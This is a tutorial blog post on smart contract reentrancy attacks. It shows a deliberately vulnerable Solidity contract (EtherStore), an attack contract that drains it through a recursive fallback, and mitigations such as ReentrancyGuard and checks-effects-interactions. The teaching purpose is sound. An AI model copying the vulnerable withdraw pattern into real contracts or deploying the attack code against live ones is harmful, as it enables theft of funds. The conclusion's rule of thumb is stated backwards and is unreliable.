z3k0sec
open main menu
Part of series: guides

Smart Contract Security: Reentrancy Attack

/ 5 min read

This blog post will teach you the basic concept of one of the most popular exploits in smart contract security: the reentrancy attack.

What is a “Reentrancy” vulnerability?

A reentrancy attack happens between two smart contracts, where an attacking smart contract (“attacker”) drains the funds of a vulnerable contract by changing the control flow execution of the underlying contracts.

Smart contracts can be used to call and utilize code from other external contracts and this is where the vulnerability gets exploited.

The vulnerability – lack of updating it’s internal state variables – creates a window where the attacker (precisely: attacking smart contract) redirects the control flow to a malicious, untrusted contract that he owns and repeatly drain the funds by calling the withdraw function over and over from within the fallback function.

We’ll look at different types of reentrancy attacks, a vulnerable code example from “Mastering Ethereum” and how to prevent this type of attack scenario.

Types of re-entrancy attacks

There are different types of reentrancy attacks, but most common are:

  • cross-function re-entrancy
  • delegated re-entrancy
  • create-based re-entrancy
  • unconditional re-entrancy

(see here for further information).

Code Example

The vulnerable code example below demonstrates a reentrancy attack. An attacker can create a malicious contract (Attack.sol) to drain the funds of the vulnerable contract (EtherStore.sol) via its fallback function, by calling the withdraw function of the original contract recursively, before the internal state variable (balance) is updated.

Let’s take a look at this EtherStore.sol contract (vulnerable contract):

contract EtherStore {

    //limits withdrawal to 1 ether 
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    //deposit function that keeps track of deposited amount for each sender 
    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    //withdraw function which sends < 1 ether to an external address 
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
}

An attacker would create an “Attack.sol” contract (malicious contract), like so:

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() external payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

What happens if we attack the vulnerable contract?

  • The depositFunds function of EtherStore gets called with a msg.value of 1 ether. The msg.sender is our malicious contract.
  • The attacking contract then calls the withdrawFunds function of EtherStore with a parameter of 1 ether to pass all require checks.
  • The contract then sends 1 ether back to the attacking contract
  • The payment to the attacking contract triggers the fallback function.
  • The fallback function calls the withdrawFunds function again and reenters the vulnerable EtherStore contract.
  • Here the attacker’s balance is still 1 ether, because the balance has not been updated yet. We pass all requirements again.
  • The attacking contract keeps withdrawing 1 ether for each recursion
  • When there is 1 or less ether left in the vulnerable contract, the if statement in Attack.sol fails
  • Finally the internal state variables of EtherStore gets updated (line 18 and 19), but it’s too late, because all funds have been drained. :-/

How to prevent a Reentrancy Attack?

These type of attacks can be prevented by handling transactions correctly and executing code statements in the right order as mentioned previously. It is crucial to update the internal state variables before making any calls to an external contract.

There are a couple of options to secure your code and mitigate a reentrancy attack:

option #1 : openzeppelin’s Reentrancy Guard

Make use of openzeppelin’s Reentrancy Guard module to prevent reentrant calls to a function. The nonReentrant modifier can be applied to any function to make sure that there are no nested (reentrant) calls to them.

option #2: set state variables before external call

Be sure that all code logic that changes state variables happens before the external call (e.g. ether is send out the contract). It’s good practice to perform external calls to unknown addresses as the last operation within a function.

option #3: use “transfer” function instead of “call” function

Whenever possible use the build-in transfer function to send ether to external contracts. The transfer function only sends 2300 gas with the external call, which is not enough for the attacker address/contract to call another contract (reenter the vulnerable sending contract).

Conclusion

The rule of thumb: when there is no internal state update after an ether transfer or an external function call inside a function, then the function is safe from a reentrancy vulnerability. Otherwise you need to double-check your source code, static source analyzers, like slither can help you spot some of those vulnerablities.

Additional reading material: